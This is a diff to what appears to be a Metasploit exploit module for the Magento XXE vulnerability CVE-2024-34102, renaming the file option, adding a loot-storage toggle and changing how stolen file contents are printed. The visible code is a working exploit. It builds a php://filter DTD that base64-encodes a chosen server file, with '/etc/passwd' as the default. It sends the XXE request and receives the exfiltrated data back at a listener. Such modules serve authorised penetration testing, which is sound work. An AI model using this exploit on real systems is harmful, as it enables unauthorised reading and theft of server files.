@@ -47,7 +47,8 @@ def initialize(info = {})
47
47
register_options (
48
48
[
49
49
OptString . new ( 'TARGETURI' , [ true , 'The base path to the web application' , '/' ] ) ,
50
- OptString . new ( 'FILE' , [ true , 'The file to read' , '/etc/passwd' ] )
50
+ OptString . new ( 'TARGETFILE' , [ true , 'The target file to read' , '/etc/passwd' ] ) ,
51
+ OptBool . new ( 'STORE_LOOT' , [ true , 'Store the target file as loot' , false ] )
51
52
]
52
53
)
53
54
end
@@ -96,7 +97,7 @@ def dtd_param_name
96
97
end
97
98
98
99
def make_xxe_dtd
99
- filter_path = "php://filter/convert.base64-encode/resource=#{ datastore [ 'FILE ' ] } "
100
+ filter_path = "php://filter/convert.base64-encode/resource=#{ datastore [ 'TARGETFILE ' ] } "
100
101
ent_file = rand_text_alpha_lower ( 4 ..8 )
101
102
%(
102
103
<!ENTITY % #{ ent_file } SYSTEM "#{ filter_path } ">
@@ -121,7 +122,7 @@ def xxe_xml_data
121
122
def xxe_request
122
123
vprint_status ( 'Sending XXE request' )
123
124
124
- signature = rand_text_alpha ( 6 )
125
+ signature = rand_text_alpha ( 6 ) . capitalize
125
126
126
127
post_data = <<~EOF
127
128
{
@@ -188,14 +189,18 @@ def on_request_uri(cli, req)
188
189
if data &.empty?
189
190
print_error ( 'No data received' )
190
191
else
191
- print_good ( "Received file #{ datastore [ 'FILE' ] } content" )
192
+
193
+ file_name = datastore [ 'TARGETFILE' ]
194
+ file_data = ::Base64 . decode64 ( data ) . force_encoding ( 'UTF-8' )
195
+
196
+ if datastore [ 'STORE_LOOT' ]
197
+ p = store_loot ( File . basename ( file_name ) , 'text/plain' , datastore [ 'RHOST' ] , file_data , file_name , 'Magento XXE CVE-2024-34102 Results' )
198
+ print_good ( "File saved in: #{ p } " )
199
+ else
200
+ # A new line is sent before file contents for better readability
201
+ print_good ( "File read succeeded! \n #{ file_data } " )
202
+ end
192
203
193
- loot_type = 'text/plain'
194
- loot_desc = 'Magento XXE CVE-2024-34102 Results'
195
- data = ::Base64 . decode64 ( data ) . force_encoding ( 'UTF-8' )
196
-
197
- p = store_loot ( datastore [ 'FILE' ] , loot_type , datastore [ 'RHOST' ] , data , loot_desc )
198
- print_good ( "File saved in: #{ p } " )
199
204
end
200
205
else
201
206
print_status ( "Unexpected request received: '#{ req . method } #{ req . uri } '" )
0 commit comments